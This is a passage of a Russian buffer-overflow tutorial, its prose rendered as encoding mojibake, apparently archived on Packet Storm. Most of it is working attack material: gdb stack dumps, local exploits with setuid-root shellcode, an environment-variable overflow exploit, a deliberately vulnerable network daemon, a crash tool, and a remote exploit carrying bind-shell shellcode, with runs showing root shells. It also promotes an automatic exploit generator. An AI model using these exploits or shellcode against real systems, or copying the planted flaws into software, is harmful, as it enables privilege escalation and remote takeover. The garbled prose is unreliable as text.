Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Ïðîèñõîäèò ïåðåïîëíåíèå. Âñïîìíèòå ðåãèñòð ESP.
Äàâàéòå âçãëÿíåì âíóòðü íåãî:

(gdb) x/200x $esp
<................[îïóùåíî]...............>
0xbffff550: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff560: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff570: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff580: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff590: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff5f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff600: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff610: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff620: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff630: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff640: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff650: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff660: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff670: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff680: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff690: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6b0: 0x41414141 0x41414141 0x41414100 0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffff6c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6f0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)

Âíèìàíèå!!! Â âàøåé ñèñòåìå ìîæåò áûòü ïî-äðóãîìó.
Èòàê, ÷òî ìû âèäèì. À âèäèì ìû ñëåäóþùåå. Ñëåâà ó íàñ êàê ðàç òå àäðåñà âîçâðàòà íà äàííûå, êîòîðûå ðàñïîëîæåíû ñïðàâà. Òî áèøü íà äàííûå ñèìâîëîâ "A". Èç ýòîãî ìîæåò ñëåäîâàòü, ÷òî ïîñëå ïåðåïîëíåíèÿ íàøà óÿçâèìàÿ óòèëèòà îáðàùàåòñÿ ïî îäíîìó èç ýòèõ àäðåñîâ, â êîòîðûõ èìååòñÿ çíà÷åíèå "A". Íà óì ñðàçó ïðèõîäèò, ÷òî ïîñëå òîãî êàê øåëëêîä áóäåò ðàñïîëîæåí, îí óñïåøíî äîëæåí èñïîëíèòüñÿ, ïîñëå òîãî êàê ìû óñïåøíî çàñóíåì àäðåñ âîçâðàòà íà íàø êîä.

Èòàê, ïîðà âñþ íàøó çàíóäíóþ òåîðèþ ïåðåíåñòè â ïðàêòè÷åñêèå äåéñòâèÿ. Ñåé÷àñ ÿ ïðèâåäó êîä ýêñïëóàòàòîðà äëÿ íàøåé óòèëèòû, è ìû ïîäðîáíî ðàçáåðåì åãî.
 êà÷åñòâå àäðåñà ÿ âçÿë îäèí èç âûøåïðèâåäåííûõ àäðåñîâ, çíà÷åíèå ó êîòîðîãî 0x41414141.

[========================================CODE#2 ex_util.c=================================]
#include <stdio.h>
#include <string.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
long RET;
int i;
char buf[1000];
char *p;

RET = 0xbffff660; // àäðåñ â Âàøåé ñèñòåìå ìîæåò áûòü äðóãîé.

p = buf;

memset(buf, 0x41, 450+1-strlen(shellcode)); // òîò ñàìûé "ìóñîð" :)
sprintf(buf+450+1-strlen(shellcode), "%s", shellcode); // çàïîëíÿåì øåëëêîäîì ïîñëå "ìóñîðà"

for ( i = 268; i <= 272; i+= 4 )
*(long*)(p+i) = RET;

execl("util", "util" , buf, NULL);
}
[========================================CODE#2 ex_util.c=================================]

Èòàê, äàâàéòå èñïðîáóåì íàø êîä.

[root@localhost boft]# gcc ex_util.c -o ex_util
[root@localhost boft]# ./ex_util
sh-3.00# exit
exit
[root@localhost boft]#

Ðàáîòàåì áåçóïðå÷íî :) Âñå, ÷òî è òðåáîâàëîñü äîêàçàòü. Òåïåðü ÿ ïîïûòàþñü âñå â êîäå Âàì ðàçúÿñíèòü. Èòàê, øåëëêîä íàïèñàí ìíîé. ß ñ÷èòàþ åãî îäíèì èç ìàëåíüêèõ ëîêàëüíûõ øåëëêîäîâ äëÿ Linux.  íåì åñòü ôóíêöèÿ setuid(0);.
 íà÷àëå ìû îáúÿâëÿåì ïåðåìåííûå. Ïåðåìåííóþ RET, äëÿ òîãî ÷òîáû â íåé õðàíèòü íàø àäðåñ. Äàëåå èäåò ïåðåìåííàÿ-èíäåêñ. Îíà íóæíà äëÿ çàïóñêà öèêëà äîáàâëåíèÿ àäðåñà íà íàø øåëëêîä. Ñëåäóþùàÿ ïåðåìåííàÿ "buf", íóæíà äëÿ òîãî, ÷òîáû ïîëíîñòüþ ïîäãîòîâèòü íàø êîä. Âèäà <data><shellcode><retaddr>. Ïåðåìåííàÿ "p" - ýòî óêàçàòåëü íà íàø áóôåð äàííûõ. Îíà íóæíà äëÿ òîãî, ÷òîáû ïîñèìâîëüíî äîáàâèòü àäðåñ âîçâðàòà íà êîä.
Èòàê, äàëåå èäåò óæå êîä.  ïåðâîé ñòðîêå êîäà ìû ïðèñâàèâàåì ïåðåìåííîé RET àäðåñ íà íàø êîä. Äàëåå ïåðåìåííîé "p" óêàçûâàåì íà òî, ÷òî îíà òåïåðü ñòàåì óêàçàòåëåì íà íàø áóôåð. Ïîòîì ìû çàïîëíÿåì íàø áóôåð "ìóñîðîì" äëÿ òîãî ÷òîáû ïåðåïîëíèòü áóôåð äàííûìè, à äàëåå ïîëîæèòü øåëëêîä ïîñëå "ìóñîðà". Äàëåå èäåò öèêë for (...).  íåì ìû, êàê óæå áûëî ñêàçàíî, äîáàâëÿåì àäðåñ ñ "êðàåâ" íà 4 áàéòà âïåðåä äëÿ òîãî, ÷òîáû àäðåñ ïîìåñòèëñÿ ïîëíîñòüþ. Ñëåäóþùàÿ ñòðîêà ãîâîðèò íàì î òîì, ÷òî áû çàïóñêàåì íàøó óòèëèòó ñ çàïîëíåííûì áóôåðîì â êà÷åñòâå ïåðâîãî âõîäíîãî àðãóìåíòà.
Âîò â ïðèíöèïå è âñå! :)

 äàííîì ïðèìåðå ÿ ïîêàçàë ïðîñòåéøåå ïåðåïîëíåíèå íà îñíîâå âõîäíîãî ïàðàìåòðà. Òàê æå ìíå õîòåëîñü áû Âàì åùå ïîêàçàòü ïåðåïîëíåíèÿ, îñíîâàííûå ÷åðåç "Ïåðåìåííûå îêðóæåíèÿ" è óäàëåííûå ïåðåïîëíåíèÿ áóôåðà.

ÏÅÐÅÏÎËÍÅÍÈÅ ÁÓÔÅÐÀ ×ÅÐÅÇ "ÏÅÐÅÌÅÍÍÛÅ ÎÊÐÓÆÅÍÈß".

ß äóìàþ, ìíîãèå çíàþò, ÷òî òàêîå Ïåðåìåííàÿ Îêðóæåíèÿ. Åñëè íåò, òî ïåðåìåííûå îêðóæåíèÿ ýòî íåêèå õðàíèëèùà èíôîðìàöèè :). Îíè èñïîëüçóþòñÿ äëÿ òîãî, ÷òîáû õðàíèòü êàêóþ ëèáî èíôîðìàöèþ. Íî î÷åíü ÷àñòî ïðè íàïèñàíèè áîëüøèõ ïðîãðàìì, ïðîãðàììèñòû äîïóñêàþò îøèáêè ïåðåïîëíåíèÿ áóôåðà ïðè ïåðåäà÷è ýòèõ ñàìûõ äàííûõ ÷åðåç ýòè ñàìûå ïåðåìåííûå ; -). Äàâàéòå ðàññìîòðèì ïðèìåð íàïèñàíèÿ òàêîé ïðîãðàììêè.

[========================================CODE#3 env.c=================================]
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *env;
char buf[100];
env = getenv("SOMEDATA");
if ( env == NULL ) { return 0; }
sprintf(buf, "%s", env);
return 0;
}
[========================================CODE#3 env.c=================================]

Èòàê, âûøå ïîêàçàí ïðèìåð òàêîé ïðîãðàììû, êîòîðàÿ áåðåò èç ïåðåìåííîé îêðóæåíèÿ "SOMEDATA", ñ ïîìîùüþ ôóíêöèè getenv(), åå çíà÷åíèå è êîïèðóåò â áóôåð ñ èñïîëüçîâàíèåì ôóíêöèè sprintf(); Ñèíòàêñèñ åå òàêîâ:

sprintf(áóôåð_êóäà_êîïèðîâàòü, ôîðìàò_êîïèðîâàíèÿ, îòêóäà_êîïèðîâàòü_äàííûå);

Ñêàæó ëèøü òî, ÷òî ïàðàìåòð "ôîðìàò_êîïèðîâàíèÿ", ìîæåò áûòü îòïóùåí, íî â ýòîì ñëó÷àå âîçíèêàåò äðóãàÿ îøèáêà ïðîãðàììèðîâàíèÿ. Íàçâàíèå åé Îøèáêè Ïðè ôîðìàòèðîâàíèè Ñòðîê. Íî îá ýòîì ÷èòàéòå â äðóãèõ èñòî÷íèêàõ.

Ñèíòàêñèñ ôóíêöèè getenv() òàêîâ:

ïåðåìåííàÿ_êóäà_êîïèðîâàòü_çíà÷åíèå = getenv(íàçâàíèå_ïåðåìåííîé_îêðóæåíèÿ);

Èòàê, ìû ðàññìîòðåëè ïðèìåð óÿçâèìîé ïðîãðàììû. Íàïèøåì ïðèìåð ïðîãðàììû, êîòîðàÿ ïîêàæåò íàì, êàê ïåðåïîëíÿåòñÿ â ýòîì ñëó÷àå áóôåð. Íî ñíà÷àëà îòêîìïèëèðóéòå ýòó ïðîãðàììó.

[========================================CODE#4 env_dos.c=================================]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buf[1000];

memset(buf, 0x41, 1000);

setenv("SOMEDATA", buf, 1); // ïðèñâàèâàåì ïåðåìåííîé-îêðóæåíèÿ çíà÷åíèå íàõîäÿùååñÿ â buf.
execl("env", "env", NULL);
}
[========================================CODE#4 env_dos.c=================================]

Íó ÿ äóìàþ Âàì âñå äîëæíî áûòü ÿñíî. Åäèíñòâåííîå ñêàæó ïðî ñèíòàêñèñ ôóíêöèè setenv().
Îí òàêîâ:

setenv(èìÿ_ïåðåìåííîé_îêðóæåíèÿ, çíà÷åíèå, çíà÷åíèå_ïåðåçàïèñè - 1 äà, 0 - íåò);

Âñå.
Îòêîìïèëèðóéòå ïðîãðàììó.

[root@localhost boft]# gcc env.c -o env
env.c: In function `main':
env.c:8: warning: assignment makes pointer from integer without a cast
[root@localhost boft]# gcc env_dos.c -o env_dos
[root@localhost boft]# ./env_dos
Segmentation fault (core dumped)
[root@localhost boft]#

Êàê âèäíî íàøà óÿçâèìàÿ ïðîãðàììà âûçâàëà ïåðåïîëíåíèå. Äëÿ òîãî ÷òîáû ïîñìîòðåòü ïîäðîáíîñòè, ñêàæó, ÷òî ïîñëå ïåðåïîëíåíèÿ â òåêóùåé äèðåêòîðèè äîëæåí ñîçäàòüñÿ ôàéë "core".  íåì èìååòñÿ èíôîðìàöèÿ î ïåðåïîëíåíèè. Ïîèùèòå åãî. Äàëåå åãî íóæíî ïðîñìîòðåòü ÷åðåç gdb:

[root@localhost boft]# gdb env -core core.2827
GNU gdb 6.0-2mdk (Mandrake Linux)
<...............>
Core was generated by `AAAA'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb)

Âîò. Âîçãëÿíåì íà ðåãèñòð ESP äëÿ òîãî ÷òîáû âû÷åñëèòü àäðåñ âîçâðàòà íà øåëëêîä.

(gdb) x/100x $esp
0xbffff1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff200: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff210: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff220: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff230: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff240: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff250: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff260: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff270: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff280: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff290: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
---Type <return> to continue, or q <return> to quit---
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0x41414141


(gdb)

Òàê... Ïîðà ïèñàòü ýêñïëîèò. Ïî ñóòè, îí íè÷åì íå îòëè÷àåòñÿ îò ïðåäûäóøåãî, òîëüêî ôóíêöèÿìè.

[========================================CODE#5 ex_env.c=================================]
#include <stdio.h>
#include <string.h>

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
long RET;
int i;

char buf[1000];
char *p;
RET = 0xbffff310; // àäðåñ â Âàøåé ñèñòåìå ìîæåò áûòü äðóãîé.

p = buf;

memset(buf, 0x41, 1000+1-strlen(shellcode));
sprintf(buf+1000+1-strlen(shellcode), "%s", shellcode);

for ( i = 0; i <= 500; i+= 4 )
*(long*)(p+i) = RET;

setenv("SOMEDATA", buf, 1);
execl("env", "env" , buf, NULL);
}
[========================================CODE#5 ex_env.c=================================]

Íó, ÿ äóìàþ, íè÷åãî ñëîæíîãî íåò, ÷òîáû ðàçîáðàòüñÿ ñ ýòèì êîäîì. Ñêàæó ëèøü òî, ÷òî ò.ê. àäðåñ áóôåðà óÿçâèìîé ïðîãðàììû ìàëåíüêèé, ÿ ðàñïîëîæèë àäðåñ â äèàïàçîíå îò 0 äî 500. Îí âñå ðàâíî ïðàâèëüíî áóäåò ðàñïîëîæåí. Òàê òåïåðü äàâàéòå îòêîìïèëèðóåì ýêñïëîèò è çàïóñòèì.

[root@localhost boft]# gcc ex_env.c -o ex_env
[root@localhost boft]# ./ex_env
sh-3.00# exit
exit
[root@localhost boft]#

Âîò è âñå, ÷òî òðåáîâàëîñü äîêàçàòü :). Ïåðåõîäèì ê óäàëåííîìó ïåðåïîëíåíèþ áóôåðà.

ÓÄÀËÅÍÍÎÅ ÏÅÐÅÏÎËÍÅÍÈÅ ÁÓÔÅÐÀ.

ß äóìàþ, ìíîãèå âèäåëè â security ðàññûëêàõ ñîîáùåíèå îá î÷åðåäíîé îøèáêå â êàêîì-ëèáî äåìîíå. È â advisory íàïèñàíî, íàïðèìåð, ÷òî òèï àòàêè ÿâëÿåòñÿ "Óäàëåííûì" (Remote). Âíà÷àëå ñòàòüè ìû îïèñàëè ïðèíöèï ëîêàëüíîãî ïåðåïîëíåíèÿ. Ñåé÷àñ ÿ õî÷ó ïîêàçàòü Âàì ïðèìåð óäàëåííîãî ïåðåïîëíåíèÿ. Ìû íàïèøåì óÿçâèìûé äåìîí. À äàëåå íàïèøåì äëÿ íåãî ýêñïëîèò.
Èòàê, ðàññìîòðèì ïðèìåð óÿçâèìîãî ñåðâåðà.

[========================================CODE#6 vsrv.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 45
#define NAME_SIZE 2048

int handling_client(int c) {
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;

read(c, name, strlen(name), 0);
recv(c, name, sizeof(name), 0);
sprintf(buffer, name);
send(c, buffer, strlen(buffer), 0);

return 0;
}

int main(int argc, char *argv[]) {
int Sock, con, client_size;
struct sockaddr_in srv, cli;

if (argc != 2) {
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}

Sock = socket(AF_INET, SOCK_STREAM, 0);

srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;

bind(Sock, &srv, sizeof(srv));

listen(Sock, 3);

for(;;) {
con = accept(Sock, &cli, &client_size);
if (handling_client(con) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(con);
}
return 0;
}
[========================================CODE#6 vsrv.c=================================]

Èòàê, âûøå ïðèâåäåí ëèñòèíã ïðîñòåíüêîãî ñåðâåðà. Äàâàéòå îòêîìïèëèðóåì åãî è ïîïûòàåìñÿ çàïóñòèòü.

[root@localhost boft]# gcc vsrv.c -o vsrv
vsrv.c: In function `main':
vsrv.c:35: warning: passing arg 2 of `bind' from incompatible pointer type
vsrv.c:40: warning: passing arg 2 of `accept' from incompatible pointer type
[root@localhost boft]# ./vsrv
usage: ./vsrv port
[root@localhost boft]# ./vsrv 2278

Äåìîí ñëóøàåò 2278 ïîðò. Ïîïðîáóåì ñîåäèíèòüñÿ ñ ýòèì ïîðòîì.

[root@localhost boft]# telnet 127.0.0.1 2278
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.

Ðàáîòàåò îòëè÷íî. ß äóìàþ, Âû óæå çàìåòèëè îøèáêó ïåðåïîëíåíèÿ â ñåðâåðå. Ò.å. åñëè ñåðâåðó ïåðåäàòü ñëèøêîì äëèííóþ ñòðîêó, òî îí çàâåðøèòñÿ ñ îøèáêîé. Äàâàéòå ðàññìîòðèì ïðèìåð ïðîãðàììó, êîòîðóþ â ïðîñòîíàðîäüå ïðèíÿòî ñ÷èòàòü DOS-óòèëèòà.

[========================================CODE#7 vsrv_dos.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

int main(int argc, char *argv[])
{
int i, sock, count;
char buf[4096];
struct sockaddr_in tgt;

if (argc < 3) { printf("usage : dos <ip> <port> <buffer>\n\n");
return 0;
}
count = atoi(argv[3]);
tgt.sin_family = AF_INET;
tgt.sin_port = htons(atoi(argv[2]));
tgt.sin_addr.s_addr = inet_addr(argv[1]);

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

for (i = 0; i < count; i++) buf[i] = 'A';
connect(sock, (struct sockaddr *)&tgt, sizeof(tgt));
printf("sending... buf = %s\n", buf);
send(sock, buf, sizeof(buf), 0);
close(sock);
}
[========================================CODE#7 vsrv_dos.c=================================]
Äàâàéòå èñïðîáóåì ïðîãðàììó. Íå çàêðûâàéòå ñåðâåð.

[root@localhost boft]# gcc vsrv_dos.c -o dos
[root@localhost boft]# ./dos
usage : dos <ip> <port> <buffer>

[root@localhost boft]# ./dos 127.0.0.1 2278 1000
sending... buf =AAAAA.... <skipped>
[root@localhost boft]#

Âçãëÿíåì íà îêíî ñåðâåðà.

[root@localhost boft]# ./vsrv 2278
Segmentation fault (core dumped)
[root@localhost boft]#

Âîò è ïåðåïîëíåíèå! Âçãëÿíåì íà çíà÷åíèå ðåãèñòðà ESP.

[root@localhost boft]# gdb vsrv -core core.3390
GNU gdb 6.0-2mdk (Mandrake Linux)
<skipped>
Core was generated by `AAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error

Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) x/200x $esp
<skipped>
0xbffff8e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff8f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff900: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff910: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff920: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff930: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff940: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff950: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff960: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff970: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff980: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff990: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa00: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
<skipped>
(gdb)

Òàê âîò. Ïðîèçîøëî íàñòîÿùåå ïåðåïîëíåíèå. Õî÷ó ïðåäóïðåäèòü, ÷òî äëÿ òîãî ÷òîáû ïðàâèëüíî âûáðàòü àäðåñ íà øåëëêîä íå ñòîèò áðàòü àäðåñà âåðõíèå è íèæíèå. Íóæíî âçÿòü àäðåñà ñðåäíèå.
Íàñòàëî âðåìÿ íàïèñàòü ýêñïëîèò.

[========================================CODE#8 exp_vsrv.c=================================]
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

static char shellcode[]= // Bind 2003 PORT xCrZx shellcode
"\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
"\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
"\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
"\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
"\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
"\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
"\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


#define RET 0xbffff9d0 // mandrake 10.0 OR.

int main(int argc, char *argv[])
{
int s, i, size;
struct sockaddr_in remote;
char buf[1000];
char *p;
if ( argc < 3 ) { printf("usage: %s <ip> <port>\n", argv[0]); exit(0); }
memset(buf, 0x90, 1000-1-strlen(shellcode));
sprintf(buf+1000-1-strlen(shellcode), "%s", shellcode);
p=buf;
for ( i = 0; i <= 500; i += 4 )
*(long*)(p+i) = RET;

s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[2]));
remote.sin_addr.s_addr = inet_addr(argv[1]);

connect(s, (struct sockaddr *)&remote, sizeof(remote));
send(s, buf, sizeof(buf),0);
close(s);
}
[========================================CODE#8 exp_vsrv.c=================================]

Äàâàéòå ïðîòåñòèðóåì ýêñïëîèò.

[root@localhost boft]# gcc exp_vsrv.c -o exp
[root@localhost boft]# ./exp
usage: ./exp <ip> <port>
[root@localhost boft]# ./exp 127.0.0.1 2278
[root@localhost boft]# telnet 127.0.0.1 2003
Trying 127.0.0.1...
Connected to localhost (127.0.0.1).
Escape character is '^]'.

Îïà... Ðàáîòàåò!
Âîò â ïðèíöèïå è âñå. Âîîáùå ïåðåïîëíåíèå óäàëåííîå è ëîêàëüíîå ìàëî ÷åì îòëè÷àåòñÿ.

ÇÀÊËÞ×ÅÍÈÅ.

 ýòîì ìàòåðèàëå ÿ ïîñòàðàëñÿ ðàññêàçàòü î÷åíü ïîäðîáíî òåìó ïåðåïîëíåíèÿ. ß äóìàþ, îíà î÷åíü ïîíÿòíà äàæå äëÿ ÷åëîâåêà, êîòîðûé âîîáùå íå çíàë îá ýòîé óÿçâèìîñòè.  çàêëþ÷åíèè õîòåëîñü áû òàêæå îòìåòèòü òî, ÷òî ÿ ðàçðàáîòàë óòèëèòó, êîòîðàÿ ãåíåðèðóåò ýêñïëîèò àâòîìàòè÷åñêè.
Ñêà÷àòü åå âû ìîæåòå íà ñàéòå http://unl0ck.info. Íà äàííûé ìîìåíò ýòî âåðñèÿ 0.3.  áóäóùåì ïëàíèðóåòñÿ äîáàâèòü íîâûå âîçìîæíîñòè.

Õîòåëîñü áû ïîáëàãîäàðèòü ñëåäóþùèõ ëþäåé: stine, f00n, nekd0, forsyte, eitr0n, msm, mssunny. Áåç ýòèõ ëþäåé æèçíü â Ñåòè áûëà áû îäíîîáðàçíà.

Ïî ïîâîäó êàêèõ-ëèáî âîïðîñîâ ïèøèòå íà darkeagle@list.ru
http://unl0ck.info

P.S. Âñå ïðèìåðû ïðîãðàìì â ñòàòüå Âû ìîæåòå ñêà÷àòü http://unl0ck.info/boft.tgz

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close